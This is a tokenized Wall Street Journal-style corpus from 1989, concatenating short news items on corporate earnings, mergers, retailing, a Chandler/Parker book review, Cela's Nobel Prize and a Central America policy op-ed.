Ignatius High School . +`` I 'm too old to waste a weekend , but that 's what I did , '' the 48-year-old Mr. Juliano moans . +`` These days , anything can happen . +Lufthansa AG said passenger volume climbed 5.2 % for the first nine months of 1989 to 15.3 million passengers from 14.5 million passengers in the year-earlier period . +The West German national air carrier said cargo volume jumped 12 % to 638,000 metric tons from 569,000 tons a year ago . +Load factor , or percentage of seats filled , climbed to 67.1 % from 66.6 % , even though the number of flights rose 6.9 % to 215,845 in the first-three quarters . +From January through September , the distance flown by Lufthansa airplanes rose 5.6 % to 266.2 million kilometers from a year earlier , the company added . +Raymond Chandler , in a 1950 letter defending a weak Hemingway book , likened a champion writer to a baseball pitcher . +When the champ has lost his stuff , the great mystery novelist wrote , `` when he can no longer throw the high hard one , he throws his heart instead . +He throws something . +He does n't just walk off the mound and weep . '' +Chandler might have been predicting the course of his own career . +His last published novel featuring private detective Philip Marlowe , the inferior `` Playback '' -LRB- 1958 -RRB- , at times read almost like a parody of his previous work . +When he died in 1959 , Chandler left behind four chapters of yet another Marlowe book , `` The Poodle Springs Story , '' which seemed to go beyond parody into something like burlesque . +`` Champ '' Chandler 's last pitch , apparently , was a screwball . +Now Robert Parker , author of several best sellers featuring Spenser , a contemporary private eye in the Marlowe mold , has with the blessings of the Chandler estate been hired to complete `` The Poodle Springs Story . '' +The result , `` Poodle Springs '' -LRB- Putnam 's , 288 pages , $ 18.95 -RRB- is an entertaining , easy to read and fairly graceful extension of the Marlowe chronicle , full of hard-boiled wisecracks and California color . +If it does not quite have Chandler 's special magic -- well , at the end , neither did Chandler . +As the book begins , a newly wed Marlowe roars into the desert resort of Poodle -LRB- a.k.a . Palm -RRB- Springs at the wheel of a Cadillac Fleetwood . +His bride is the rich and beautiful Linda Loring , a character who also appeared in Chandler 's `` The Long Goodbye '' and `` Playback . '' +Philip and Linda move into her mansion and ca n't keep their hands off each other , even in front of the Hawaiian\/Japanese houseman . +But the lovebirds have a conflict . +He wants to continue being a low-paid private eye , and she wants him to live off the million dollars she 's settled on him . +That 's Chandler 's setup . +Mr. Parker spins it into a pretty satisfying tale involving Poodle Springs high life , Hollywood low life and various folk who hang their hats in both worlds . +The supporting lineup is solid , the patter is amusing and there 's even a cameo by Bernie Ohls , the `` good cop '' of previous Chandler books who still does n't hesitate to have Marlowe jailed when it suits his purposes . +The style throughout bears a strong resemblance to Chandler 's prose at its most pared down . +All told , Mr. Parker does a better job of making a novel out of this abandoned fragment than anyone might have had a right to expect . +But there are grounds for complaint . +At one point , the reader is two steps ahead of Marlowe in catching on to a double identity scam -- and Marlowe is supposed to be the pro . +More bothersome , there are several apparent anachronisms . +Contact lenses , tank tops , prostitutes openly working the streets of Hollywood and the Tequila Sunrise cocktail all seem out of place in the 1950s . +A little more care in re-creating Marlowe 's universe would have made the book that much more enjoyable . +Mr. Nolan is a contributing editor at Los Angeles Magazine . +Ko Shioya spent eight years as the editor in chief of the Japanese edition of Reader 's Digest . +`` Japan has been a major importer of foreign information and news , '' says Mr. Shioya . +`` But one gets fed up with importing information and news . '' +Mr. Shioya has turned the tables . +Today , he is publisher of Business Tokyo magazine , the first English-language business magazine devoted to coverage of Japanese business . +After a slick redesign , the two-year-old magazine has been relaunched this month by its parent company , Keizaikai Corp. , the Tokyo-based company with interests that include financial services , book publishing and a tourist agency . +Printed in the U.S. and carrying the line `` The Insider 's Japan , '' Business Tokyo 's October cover story was `` The World 's No. 1 Customer '' -- Japanese women . +Keizaikai is one of a small but growing band of Japanese companies taking their first steps into American publishing , after making major investments in entertainment , real estate and banking companies here . +Japanese concerns have retained a number of publishing consultants and media brokers to study the U.S. market , including the New York-based investment banker Veronis , Suhler & Associates . +And they are quietly linking up with U.S. publishing trade groups . +`` Japanese publishers want to be introduced to the publishing and information industries , '' said John Veronis , chairman of Veronis Suhler . +While there are n't any major deals in the works currently on the scale of Sony Corp. 's recent $ 3.4 billion agreement to buy Columbia Pictures Entertainment Inc. , observers do n't rule out a transaction of that size . +`` The Japanese take the long view . '' said Mr. Veronis . +`` It may not be weeks or months , but they are also opportunistic and if they feel comfortable , they will move on a deal , '' he said . +In recent months , three big Tokyo-based publishing concerns -- including Nikkei Business Publications , Nikkei Home -LRB- no relation -RRB- , and Magazine House -- applied for membership in Magazine Publishers of America , which represents almost all U.S. consumer magazines . +Japanese involvement in American publishing has been so small to date that magazines such as Business Tokyo are considered groundbreakers . +When Keizaikai launched Business Tokyo in 1987 , it appealed to a more multinational audience . +The magazine was overhauled with the aid of American magazine design gurus Milton Glaser and Walter Bernard , and targets top-level U.S. executives with Japanese and American advertisers . +American publishers appear more than ready to do some selling . +Susumu Ohara , president of Nihon Keizai Shinbun America Inc. , publisher of the Japan Economic Journal , said he receives telephone calls weekly from media bankers on whether his parent company is interested in buying a U.S. consumer or business magazine . +`` The Japanese are in the early stage right now , '' said Thomas Kenney , a onetime media adviser for First Boston Corp. who was recently appointed president of Reader 's Digest Association 's new Magazine Publishing Group . +`` Before , they were interested in hard assets and they saw magazines as soft . +Now they realize magazines are as much a franchise as Nabisco is a franchise . +Bell Atlantic Corp. and Southern New England Telecommunications posted strong profit gains for the third quarter , while Nynex Corp. , Pacific Telesis Group and U S West Inc. reported earnings declines for the period . +Rate settlements in Minnesota and Colorado depressed U S West 's third-quarter profit . +Denver-based U S West said net income dropped 8.9 % , noting that the year-ago quarter included the sale of a building by its BetaWest Properties unit . +Revenue dropped 4.3 % to $ 2.3 billion from $ 2.4 billion , reflecting declines in its consumer-telephone sector , long-distance carrier business and diversified division . +Revenue from business-telephone operations grew 3.3 % to $ 618.9 million from $ 599.4 million a year ago . +New telephone lines posted healthy growth . +Overall they increased 2.8 % to 12.1 million , putting U S West over the 12 million mark for the first time . +Business lines increased 3.7 % to 3.3 million . +`` On a truly comparable basis , we 've seen modest earnings growth this year from the operations of our company , '' said Jack MacAllister , chairman and chief executive officer . +`` The major negative factor was the cumulative impact of regulatory activity over the past two years . '' +He said the company expects to be `` on target '' with analysts ' projections by year end but conceded that the fourth quarter represents `` a significant challenge . '' +Expenses in the quarter dropped 11.2 % to $ 664.3 million from $ 747.7 million a year ago . +Yesterday , U S West shares rose 75 cents to close at $ 71.25 in New York Stock Exchange composite trading . +Philadelphia-based Bell Atlantic said net rose 6.5 % , aided by strong growth in the network-services business and an increase in the number of new telephone lines . +Revenue jumped 5.6 % to $ 2.9 billion from $ 2.8 billion in the year-ago quarter . +Revenue from financial and real-estate services jumped 23 % to $ 177.4 million from $ 144.1 million a year ago . +Network-access revenue from long-distance telephone companies increased 6.4 % to $ 618.6 million . +Bell Atlantic added 148,000 new telephone lines in the quarter for a total of 16.9 million . +The company said per-share earnings were slightly reduced by the sale of 4.1 million shares of treasury stock to the company 's newly formed Employee Stock Ownership Plans . +In composite trading on the Big Board , Bell Atlantic closed at $ 100.625 , up $ 1.50 a share . +At Nynex , net slumped 14.8 % , primarily because of a continuing strike by 60,000 employees , lower-than-expected profit at its New York Telephone unit and significantly higher taxes and costs . +State and local taxes increased to $ 131.3 million from $ 99.1 million a year ago . +Nynex said expenses rose 4.5 % to $ 2.73 billion from $ 2.61 billion , a $ 119 million increase . +Most of the higher costs were associated with acquisitions and growth in nonregulated business units , it added . +`` Our net income is n't where we would want it to be at this point , '' said William C. Ferguson , chairman and chief executive officer . +`` This deviation from our past growth patterns is caused largely by lower earnings at New York Telephone . '' +Mr. Ferguson said a continued softness in New York City area 's economy and increased competition , particularly in the private-line market , took a heavy toll on earnings . +The three-month-old strike at Nynex seriously hurt the installation of new telephone lines in the quarter . +Nynex said access lines in service at the end of the quarter were off 18,000 from the previous quarter , which reported an increase of 160,000 new access lines . +Revenue rose to $ 3.31 billion from $ 3.18 billion , mostly from acquisition of AGS Computers and robust non-regulated businesses . +In Big Board composite trading yesterday , Nynex common closed at $ 81.125 , up $ 1.625 . +Southern New England Telecommunications , which bolstered its marketing efforts for telephone and non-telephone subsidiaries , reported that net increased 8.1 % . +Walter H. Monteith Jr. , SNET chairman and chief executive officer , said : `` Innovative marketing of our products and services contributed to increase revenue . '' +Revenue and sales increased 7.5 % to $ 423.9 million from $ 394.4 million a year earlier . +Yellow pages advertising sales rose 11.8 % to $ 41.2 million . +Cost and expenses for the quarter , excluding interest , increased 6.1 % to $ 333.3 million from $ 314 million the year before . +SNET common rose $ 1.25 to $ 85.50 a share yesterday in composite trading on the Big Board . +San Francisco-based Pacific Telesis said net declined 12.6 % , primarily because of regulatory action . +Revenue was about flat at $ 2.4 billion . +Revenue was reduced $ 33 million by three extraordinary items : a California Public Utilities Commission refund for an American Telephone & Telegraph Co. billing adjustment ; a provision for productivity sharing to be paid to customers in 1990 and a one-time accrual for a toll settlement with long-distance telephone companies . +Excluding the one-time charges , the company would have posted earnings of $ 298 million , or 73 cents a share . +The company also was hurt by a $ 289 million rate reduction that went into effect in 1989 . +`` This is a good quarter for us in terms of our business fundamentals , '' said Sam Ginn , chairman and chief executive officer . +Pacific Telesis said new telephone lines increased 4.5 % for a total of about $ 13.5 million for the quarter ; toll calls increased 9.6 % to 807 million and minutes of telephone usage increased to 9.9 billion . +In Big Board composite trading yesterday , Pacific Telesis common closed at $ 45.50 , up 87.5 cents . +a - Includes a one-time gain of $ 88.7 million from a commonstock sale by U S West 's U S West New Vector Group . +b - Includes a $ 41.3 million gain on the sale of FiberCom . +Amoco Corp. said third-quarter net income plunged 39 % to $ 336 million , or 65 cents a share , as gasoline refining and marketing profits lagged substantially behind last year 's record level . +A charge of $ 80 million related to projected environmental costs in its refining and marketing operations further depressed results . +A spokesman said Amoco completed an environmental analysis last quarter but that no single clean-up project was responsible . +In the 1988 third quarter , the Chicago-based oil company earned $ 552 million , or $ 1.07 a share . +Revenue in the latest quarter rose 12 % to $ 6.6 billion from $ 5.91 billion . +Aside from the special charge , Amoco 's results were in line with Wall Street estimates . +The company 's stock ended at $ 48.375 , up 25 cents in New York Stock Exchange composite trading . +Amoco is the first major oil company to report third-quarter results . +Analysts expect others to show a similar pattern . +Generally in the quarter , overproduction of gasoline and higher crude oil prices pressured profitability . +The industry 's chemical profits also declined because excess capacity has depressed prices . +Gasoline margins may rebound this quarter , some industry officials say , but they believe chemical margins could worsen . +American Petrofina Inc. , a Dallas-based integrated oil company , yesterday said its third-quarter earnings declined by more than half . +Fina blamed lower chemical prices , reduced gasoline margins and refinery maintenance shutdowns . +It said net income dropped to $ 15.1 million , or 98 cents a share , from $ 35.2 million , or $ 2.66 a share . +Sales rose 2.2 % to $ 711.9 million from $ 696.1 million . +Amoco 's refining and marketing profit in the quarter fell to $ 134 million from $ 319 million . +Chemical earnings declined by one-third to $ 120 million last year 's robust levels . +Amoco 's domestic oil and natural gas operations recorded a profit of $ 104 million in the quarter compared with a loss of $ 5 million , `` primarily on the strength of higher crude oil prices , '' said Chairman Richard M. Morrow . +Amoco also sharply boosted natural-gas output , part of it from properties acquired from Tenneco Inc. last year . +But foreign exploration and production earnings fell sharply , to $ 12 million from $ 95 million . +Higher oil prices were n't enough to offset a roughly $ 20 million charge related to a 10 % reduction in Amoco 's Canadian work force as well as increased exploration expenses . +For the nine months , Amoco said that net income fell to $ 1.29 billion from $ 1.69 billion but if unusual items are excluded , operations produced essentially flat results . +Revenue rose 12 % to $ 19.93 billion from $ 17.73 billion . +James F. Gero , former chairman and chief executive officer of Varo Inc. , and Richard J. Hatchett III , a Dallas investment banker , were elected directors of this medical-products concern , boosting the board to seven members . +For retailers , Christmas , not Halloween , promises to be this year 's spookiest season . +Many retailers fear a price war will erupt if cash-strapped companies such as Campeau Corp. slash tags to spur sales . +Concerns about the stock market , doubts about the economy in general and rising competition from catalog companies also haunt store operators . +`` Profits at Christmas could be under attack for every retailer , '' asserts Norman Abramson , president and chief operating officer of Clothestime Inc. , an off-price chain . +Even if there is n't any widespread discounting , the outlook for industry profits is n't good . +Management Horizons forecasts a 1.4 % profit decline for non-auto retailers this year , after annual drops that averaged 4.5 % in 1988 and 1987 . +`` For the last two and a half years , retailing has been in a mild recession , '' says Carl Steidtmann , chief economist at the Columbus , Ohio , consulting firm . +This year , many stores are entering the Christmas season in turmoil : Bonwit Teller and B. Altman parent L.J. Hooker Corp. is operating under Chapter 11 of the federal Bankruptcy Code ; B.A.T Industries PLC 's healthy Saks Fifth Avenue and Marshall Field 's chains are on the auction block ; Campeau 's Bloomingdale 's is also on the block . +Industry observers expect a wide divergence in performance . +Stores in a state of confusion are likely to fare poorly , and to lose customers to stable chains such as Limited Inc. , May Department Stores Co. and Dillard Department Stores Inc. , which should do well . +`` There are going to be very clear winners and very clear losers , '' says Cynthia Turk , a Touche Ross & Co. retail consultant . +Says Mr. Steidtmann : `` I 'm looking for a bi-polar Christmas . '' +Economists expect general merchandise sales in the fourth quarter to rise 4.5 % to 6 % from year-ago figures . +But Mr. Steidtmann predicts that healthy stores hawking mostly apparel could ring up gains of as much as 25 % to 30 % . +Troubled chains could see their sales drop as much as 8 % , he believes , as managers distracted by fears about the future allow their stores to get sloppy . +Thin merchandise selections at the most troubled chains are also expected to hurt sales . +Catalog companies are likely to pose a bigger threat to all stores this year , particularly in December . +More than 200 catalog outfits are promoting a low-cost Federal Express service that guarantees pre-Christmas delivery of orders made by a certain date . +`` Traditionally , consumers were concerned about ordering after the first of December because they did n't believe they would get it by Christmas , '' says Adam Strum , chairman of the Wine Enthusiast Inc. , which sells wine cellars and accessories through the mail . +Using Federal Express delivery last year , Mr. Strum says , `` December was our biggest month . '' +Even Sears , Roebuck & Co. is getting into the act , offering for the first time to have Federal Express deliver toys ordered by Dec. 20 from its Wish Book catalog . +K mart Corp. Chairman Joseph E. Antonini summed up his outlook for the Christmas season as `` not troublesome . '' +He 's not predicting a blockbuster , but he is `` more optimistic than three months ago '' because employment remains strong and inflation low . +Other retailers are also preparing for a ho-hum holiday . +Philip M. Hawley , chairman of Carter Hawley Hale Stores Inc. , expects sales at department stores open at least a year to rise a modest 3 % to 5 % over last year 's totals , both for his company and the industry in general . +`` I 'm not looking for a runaway Christmas at all , '' he says . +`` It is n't a real boom holiday season in our eyes , '' says Woolworth Corp. Chairman Harold E. Sells , `` but it is n't going to be a bust either . '' +Mr. Sells expects fourth-quarter sales at his company -- which besides Woolworth stores includes Kinney and Foot Locker shoe stores and other specialty chains -- to rise `` pretty much in line '' with its year-to-date increases of between 8 % and 9 % . +The estimate includes the results of new stores . +A consumer poll conducted in early September by Leo J. Shapiro & Associates , a market researcher based in Chicago , also suggests a modest holiday . +Of the 450 survey respondents , 35 % said they expect to spend less buying Christmas gifts this year than last year , while 28 % said they expect to spend more and 37 % said their gift budget would stay the same . +The results are almost identical to Shapiro 's September 1988 numbers . +Retailers could get a boost this year from the calendar . +Christmas falls on a Monday , creating a big last-minute weekend opportunity for stores . +Most will stay open late Saturday night and open their doors again Sunday . +But many consumers probably will use the extra time to put off some purchasing until the last minute . +`` What you 'll hear as we get into December is that sales are sluggish , '' predicts Woolworth 's Mr. Sells . +`` The week ending the 24th is going to save the entire month for everyone . +The Spanish author Camilo Jose Cela won the Nobel Prize for literature yesterday , a surprising choice , but given the Swedish Academy 's past perversities , hardly the most undeserved and ridiculous accolade handed out by the awarding committee . +In Spain , anyway , the 73-year-old Mr. Cela enjoys some renown for the novels and travel books he wrote during the parched Franco years , the everyday poverty and stagnant atmosphere of which he described in brutally direct , vivid prose , beginning with `` The Family of Pascal Duarte '' -LRB- 1942 -RRB- . +Unlike other writers who either battled the fascists during the Civil War , or left Spain when Franco triumphed , Mr. Cela fought briefly on the general 's side , no doubt earning with his war wound some forbearance when he went on to depict a country with a high population of vagabonds , murderers and rural idiots trudging aimlessly through a dried-out land . +Still , it was in Argentine editions that his countrymen first read his story of Pascal Duarte , a field worker who stabbed his mother to death and has no regrets as he awaits his end in a prison cell : `` Fate directs some men down the flower-bordered path , and others down the road bordered with thistles and prickly pears . +The lucky ones gaze out at life with serene eyes and smile with a face of innocence at their perfumed happiness . +The others endure the hot sun of the plains and scowl like cornered wild beasts . '' +Mr. Cela himself was one of the lucky ones , his fortunes steadily increasing over the decades he spent putting out some 70 travelogues , novels , short story collections and poetry . +These days , he is as known for his flamboyant tastes and the youthful muse who shares his life as he is for his books . +The man who wore out his shoes wandering around Guadalajara in 1958 , describing in his travel book `` Viaje a la Alcarria '' how he scrounged for food and stayed in squalid inns , now tours Spain in a Rolls-Royce . +Of his 10 novels , `` The Hive '' -LRB- 1951 -RRB- , full of sharp vignettes of Madrid life and centered on a cafe run by Dona Rosa , a foul-mouthed , broad-based woman with blackened little teeth encrusted in filth , used to be available in English , translated by J.M. Cohen and published by Ecco Press , which now no doubt regrets relinquishing its copyright . +Here is an excerpt : +The lonely woman walks on in the direction of the Plaza de Alonso Martinez . +Two men have a conversation behind one of the windows of the cafe on the corner of the boulevard . +Both are young , one twenty odd , the other thirty odd . +The older one looks like a member of the jury for a literary award , the younger one looks like a novelist . +It is evident that their conversation runs more or less on the following lines : `` I 've submitted the manuscript of my novel under the title ` Teresa de Cepeda , ' and in it I 've treated a few neglected aspects of that eternal problem which ... '' +`` Oh , yes . +Will you pour me a drop of water , if you do n't mind ? '' +`` With pleasure . +I 've revised it several times and I think I may say with pride that there is not a single discordant word in the whole text . '' +`` How interesting . '' +`` I think so . +I do n't know the quality of the works my colleagues have sent in , but in any case I feel confident that good sense and honest judgment ... '' +`` Rest assured , we proceed with exemplary fairness . '' +`` I do n't doubt it for a moment . +It does not matter if one is defeated , provided the work that gets the award has unmistakable qualities . +What 's so discouraging is ... '' +In passing the window , Senorita Elvira gives them a smile -- simply out of habit . +Ashland Oil Inc. said it will take after-tax charges of $ 78 million , or $ 1.40 a share , in its fiscal fourth quarter , ended Sept. 30 . +Because of the charge , Ashland expects to report a loss for the fourth quarter and `` significantly lower results '' for fiscal 1989 . +The oil refiner said it will report fiscal fourth quarter and 1989 results next week . +The company earned $ 66 million , or $ 1.19 a share , on revenue of $ 2.1 billion in the year-ago fourth quarter . +For fiscal 1988 , Ashland had net of $ 224 million , or $ 4.01 a share , on revenue of $ 7.8 billion . +Both revenue figures exclude excise taxes . +The charges consist of : a $ 25 million after-tax charge to cover cost overruns in Ashland 's Riley Consolidated subsidiary ; a previously announced $ 38 million after-tax charge resulting from a $ 325 million settlement with National Iranian Oil Co. and a $ 15 million after-tax charge from the previously announced sale of its Ashland Technology Corp. subsidiary . +Ashland expects that sale to be complete next year . +The charge for the Riley subsidiary is for expected costs to correct problems with certain bed boilers built for utilities . +The charge will be added to $ 20 million in reserves established a year ago to cover the cost overruns . +When President Bush arrives here next week for a hemispheric summit organized to commemorate a century of Costa Rican democracy , will he be able to deliver a credible message in the wake of the Panamanian fiasco ? +Undoubtedly Mr. Bush will be praised by some Latin leaders prone to pay lip service to nonintervention , while they privately encourage more assertive U.S. action to remove Gen. Manuel Noriega and safeguard their countries from a Sandinista onslaught . +The Panamanian affair is only the tip of a more alarming iceberg . +It originates in a Bush administration decision not to antagonize the U.S. Congress and avoid , at all costs , being accused of meddling in the region . +The result has been a dangerous vacuum of U.S. leadership , which leaves Central America open to Soviet adventurism . +`` The -LCB- influence of the -RCB- U.S. is not being felt in Central America ; Washington 's decisions do not respond to a policy , and are divorced from reality , '' says Fernando Volio , a Costa Rican congressman and former foreign minister . +The disarray of the Bush administration 's Latin diplomacy was evident in the failure of the Organization of American States to condemn categorically Gen. Noriega . +Faced with this embarrassment , U.S. diplomats expressed confidence that the influential Rio Group of South American nations , which gathered last week in Peru , would take a stronger posture toward the Panamanian dictator . +But other than a few slaps on the wrist , Gen. Noriega went unpunished by that body , too ; he was not even singled out in the closing statement . +Now Mr. Bush will come to Costa Rica and encounter Nicaraguan strongman Daniel Ortega , eager for photo opportunities with the U.S. president . +The host , Costa Rican President Oscar Arias , did not invite Chile , Cuba , Panama or Haiti to the summit , which was to be restricted to democracies . +However , Mr. Ortega was included . +Formally upgrading the Sandinistas to a democratic status was an initiative harshly criticized in the Costa Rican press . +Even Carlos Manuel Castillo -- the presidential candidate for Mr. Arias 's National Liberation Party -- made public his opposition to the presence of Nicaragua `` in a democratic festivity . '' +Nevertheless , the Bush administration agreed to the dubious arrangement in July , a few weeks before the Central American presidents met in Tela , Honduras , to discuss a timetable for disbanding the anti-Sandinista rebels . +According to officials in Washington , the State Department hoped that by pleasing President Arias , it would gain his support to postpone any decision on the Contras until after Mr. Ortega 's promises of democratic elections were tested next February . +However , relying on an ardent critic of the Reagan administration and the Contra movement for help in delaying the disarming of the Contras was risky business . +And even some last-minute phone calls that Mr. Bush made -LRB- at the behest of some conservative U.S. senators -RRB- to enlist backing for the U.S. position failed to stop the march of Mr. Arias 's agenda . +Prior to this episode , Sen. Christopher Dodd -LRB- D. , Conn. -RRB- , sensing an open field , undertook a personal diplomatic mission through Central America to promote an early disbanding of the rebels . +Visiting Nicaragua , he praised the Sandinistas for their electoral system and chided the Bush administration for not rewarding the Sandinistas . +In Honduras , where the Contras are a hot political issue , he promised to help unblock some $ 70 million in assistance withheld due to the failure of local agencies to comply with conditions agreed upon with Washington . +Aid was also the gist of the talks Sen. Dodd had with Salvadoran President Alfredo Cristiani ; Mr. Cristiani 's government is very much at the mercy of U.S. largess and is forced to listen very carefully to Sen. Dodd 's likes and dislikes . +It was therefore not surprising that close allies of the U.S. , virtually neglected by the Bush administration , ordered the Nicaraguan insurgents dismantled by December , long before the elections . +Fittingly , the Tela Accords were nicknamed by Hondurans `` the Dodd plan . '' +The individual foreign policy carried out by U.S. legislators adds to a confusing U.S. performance that has emboldened Soviet initiatives in Central America . +On Oct. 3 , following conversations with Secretary of State James Baker , Soviet Foreign Minister Eduard Shevardnadze arrived in Managua to acclaim `` Nicaragua 's great peace efforts . '' +There , Mr. Shevardnadze felt legitimized to unveil his own peace plan : The U.S.S.R. would prolong a suspension of arms shipments to Nicaragua after the February election if the U.S. did likewise with its allies in Central America . +He also called on Nicaragua 's neighbors to accept a `` military equilibrium '' guaranteed by both superpowers . +The Pentagon claims that in spite of Moscow 's words , East bloc weapons continue to flow into Nicaragua through Cuba at near-record levels . +Since Mr. Shevardnadze 's proposals followed discussions with Mr. Baker , speculations arose that the Bush administration was seeking an accommodation with the Soviets in Central America . +This scheme would fit the Arias Plan , which declared a false symmetry between Soviet military aid to the Sandinista dictatorship and that provided by Washington to freely elected governments . +Furthermore , it is also likely to encourage those on Capitol Hill asking for cuts in the assistance to El Salvador if President Cristiani does not bend to demands of the Marxist guerrillas . +The sad condition of U.S. policy in Central America is best depicted by the recent end to U.S. sponsorship of Radio Costa Rica . +In 1984 , the Costa Rican government requested help to establish a radio station in the northern part of the country , flooded by airwaves of Sandinista propaganda . +Recovering radiophonic sovereignty was the purpose of Radio Costa Rica , funded by the U.S. and affiliated with the Voice of America -LRB- VOA -RRB- . +A few months ago , the Bush administration decided to stop this cooperation , leaving Radio Costa Rica operating on a shoestring . +According to news reports , the abrupt termination was due to fears that VOA transmissions could interfere with the peace process . +In the meantime , Russia gave Nicaragua another powerful radio transmitter , which has been installed in the city of Esteli . +It is capable of reaching the entire Caribbean area and deep into North America . +Perhaps its loud signal may generate some awareness of the Soviet condominium being created in the isthmus thanks to U.S. default . +The Soviet entrenchment in Nicaragua is alarming for Costa Rica , a peaceful democracy without an army . +Questioned in Washington about what would happen if his much-heralded peace plan would fail , President Arias voiced expectations of direct U.S. action . +A poll conducted in July by a Gallup affiliate showed that 64 % of Costa Ricans believe that if their country is militarily attacked by either Nicaragua or Panama , the U.S. will come to its defense . +But in the light of events in Panama , where the U.S. has such clear strategic interests , waiting for the Delta Force may prove to be a dangerous gambit . +Mr. Daremblum is a lawyer and a columnist for La Nacion newspaper . +Holiday Corp. said net income jumped 89 % , partly on the strength of record operating income in its gaming division . +Separately , the hotel and gambling giant said it was proceeding with plans to make a tender offer and solicit consents with respect to approximately $ 1.4 billion of its publicly traded debt . +That debt is part of the $ 2.1 billion of Holiday debt that Bass PLC of Britain said it would retire or assume when it agreed to buy the Holiday Inn business in August . +Holiday said third-quarter earnings rose to $ 39.8 million , or $ 1.53 a share , from $ 21 million , or 84 cents a share , a year earlier . +Results for the quarter included $ 19.2 million in pretax gains from property transactions , including the sale of one Embassy Suites hotel , and $ 3.5 million of nonrecurring costs associated with the acquisition of the Holiday Inn business by Bass . +Holiday said operating income related to gaming increased 4.5 % to a record $ 61.4 million from $ 58.8 million a year earlier . +The jump reflected record results in Las Vegas , Nev. , and Atlantic City , N.J. , as well as a full quarter 's results from Harrah 's Del Rio in Laughlin , Nev . +Third-quarter revenue rose 2.7 % to $ 433.5 million from $ 422.1 million . +For the nine months , earnings fell 2.9 % to $ 99.1 million , or $ 3.86 a share , from $ 102.1 million , or $ 4.10 a share , a year earlier . +Revenue dropped 1.6 % to $ 1.21 billion from $ 1.23 billion . +The tender offer and consent solicitation will be made to debtholders in December . +In effect , Holiday is asking holders for permission for Bass to buy their debt . +Holiday said Salomon Brothers Inc. has been retained to act as the dealer-manager and financial adviser in connection with the offer and solicitation . +The debt issues involved and the proposed consent fees and cash tender offer prices -LRB- expressed per $ 1,000 of principal amount -RRB- are as follows : 10 1\/2 % senior notes due 1994 at 101 % ; 11 % subordinated debt due 1999 at 102 % ; 9 3\/8 % notes due 1993 at 100 % ; and 8 3\/8 % notes due 1996 at 95.25 % . +Holiday said its 15 % notes due 1992 also will be included in the tender offer and consent solicitation at a price to be determined by Holiday prior to the commencement of the offer . +The television units of Paramount Communications Inc. and MCA Inc. are exploring the possibility of offering prime-time programming to independent stations two nights a week , industry executives say . +Although such a venture would n't match the `` fourth network '' created by News Corp. 's Fox Broadcasting Co. , MCA and Paramount may have similar ambitions . +Fox , which also owns six TV stations , provides programs three nights a week to those and other affiliates . +Paramount Domestic TV and MCA TV formed a joint venture last month , named Premier Advertiser Sales , to sell advertising in programs syndicated by both companies , such as `` Star Trek : the Next Generation , '' `` Charles in Charge '' and `` Friday the 13th : the Series . '' +A spokeswoman for Paramount said the company does n't comment on speculation . +Calls to Shelly Schwab , president of MCA TV , were n't returned . +The two companies , like Fox , already have their own TV stations . +MCA owns WWOR in New York and Paramount last month agreed to purchase a 79 % stake in the TVX Broadcast Group from Salomon Inc. in a deal valued at $ 140 million . +TVX owns five stations , including WTXF , a Fox affiliate , in Philadelphia . +One broadcasting executive familiar with the project said the co-venture would target stations affiliated with Fox because Fox has the desirable independent stations in most of the key cities . +Currently , Fox supplies programs on Saturdays , Sundays and Mondays , although the company plans to expand to other weeknights . +Jamie Kellner , president of Fox Broadcasting , said , `` We believe the partnership of Fox , its affiliates and advertisers is succeeding and will continue to grow . '' +Another Fox official , who declined to be identified , said Fox was n't pleased by the possible Paramount-MCA venture into prime-time programming . +`` To make the venture work , they would need Fox affiliates , '' he said . +`` We spent a lot of time and money in building our group of stations , '' he said , adding that Fox does n't `` appreciate '' another company attempting to usurp its station lineup . +Fox said it plans to offer its stations movies , theatrical and made-for-TV ventures , probably on Wednesdays , sometime next year . +It is also planning another night of original series . +Paramount and MCA , according to the broadcasting executive , plan to offer theatrical movies produced separately by Paramount and MCA for Wednesdays and perhaps a block of original shows Fridays . +The executive said Paramount and MCA have also held discussions with Chris-Craft Industries ' broadcasting unit , which owns five independent stations in cities such as Los Angeles , San Francisco and Portland , Ore . +A Chris-Craft station manager said there have been no formal talks . +`` I think it 's to Fox 's advantage to be associated with the Paramount-MCA venture , '' said Michael Conway , station manager of WTXF , the TVX station that is a Fox affiliate . +Mr. Conway said the Fox shows appearing on nights when Paramount-MCA shows would n't be offered could be promoted on the programs produced by Paramount-MCA . +Michael Fisher , general manager of KTXL , a Fox affiliate in Sacramento , Calif. , said , `` The real question is whether the Paramount-MCA offering is practical . +It is n't ... . +Why would I consider giving up Fox , a proven commodity , '' for an unknown venture ? +Fox attracts a young audience with shows such as `` Married ... With Children , '' its most successful series . +Banco Popular de Puerto Rico and BanPonce Corp. -- agreed to merge in a transaction valued at $ 324 million . +Under the agreement , BanPonce stockholders will be able to exchange each of their shares for either shares in the new entity or cash . +In each case , the exchange is valued at $ 56.25 a share . +The two companies , both based in San Juan , will form a bank holding company with assets of just over $ 9 billion . +The holding company will be called BanPonce Corp . +The primary subsidiary will be the combined banking operations of the two companies and will be known as Banco Popular de Puerto Rico . +Rafael Carrion Jr. , chairman of Banco Popular , will be the chairman of the holding company . +Alberto M. Paracchini , currently chairman of BanPonce , will serve as president of the bank holding company and chairman of the subsidiary . +Banco Popular originally proposed the merger in July , in a cash and stock transaction valued at $ 50 a share , or about $ 293 million . +BanPonce reacted cooly at first , but appeared to be won over , analysts said , by Banco Popular 's assurances that it wanted only a friendly transaction . +`` Banco Popular just kept waiting , '' said Edward Thompson , a vice president and analyst at Thomson BankWatch Inc. in New York . +`` They got a transaction that 's good for both companies . '' +The two banks appear to be a good fit . +BanPonce caters to a more affluent customer , while Banco Popular has always had a large presence among middle-income and lower-income markets . +The merger should also allow the companies to reduce costs by combining operations in many locations in Puerto Rico . +`` They 're often right across the street from one another , '' Mr. Thompson said . +Richard Carrion , who is currently president and chief executive officer of Banco Popular , said the merger will result in a `` larger and stronger locally based bank . '' +Mr. Carrion , who will now serve as president and chief executive officer of the subsidiary bank , added : `` We 'll be able to better compete with large foreign banks . +It makes sense from a strategic standpoint . '' +The newly merged company will have 165 branches in Puerto Rico and 27 branches outside of the island . +The banks said they do n't expect the merger to face any regulatory hurdles . +Mr. Carrion said the merger should be completed in six to nine months . +Hit by higher costs and lower sales , Caterpillar Inc. said third-quarter earnings tumbled 43 % and full-year earnings will trail last year 's results . +The construction equipment maker said third-quarter profit fell to $ 108 million , or $ 1.07 a share , from $ 190 million , or $ 1.87 a share , a year earlier . +Sales dropped 6 % to $ 2.58 billion from $ 2.74 billion , reflecting eight fewer business days in the latest quarter . +The company , which is in a costly modernization program , said earnings were hurt by higher start-up and new program costs , increased costs of 